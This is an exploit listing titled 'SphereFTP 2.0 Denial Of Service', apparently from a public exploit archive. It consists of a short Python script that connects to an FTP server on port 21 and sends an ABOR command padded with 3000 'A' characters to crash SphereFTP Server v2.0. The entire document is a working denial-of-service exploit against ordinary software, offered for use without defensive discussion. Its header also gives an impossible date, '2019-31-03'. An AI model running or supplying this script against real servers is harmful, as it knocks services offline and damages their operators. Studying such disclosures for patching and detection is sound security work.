SphereFTP 2.0 Denial Of Service

`#!/usr/bin/python  
# Exploit Title: SphereFTP Server v2.0 Remote Denial of Service  
Vulnerability  
# Date: 2019-31-03  
# Exploit Author: Sachin Wagh (@tiger_tigerboy)  
# Software Link: http://www.menasoft.com/sphereftp/sphereftp_win32_v20.zip  
# Tested on: Windows 10 64-bit  
  
import socket  
import sys  
  
evil = "A"*3000  
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
connect=s.connect(('192.168.56.1',21))  
  
s.recv(1024)  
s.send('ABOR '+evil+'\r\n')  
s.recv(1024)  
s.close  
`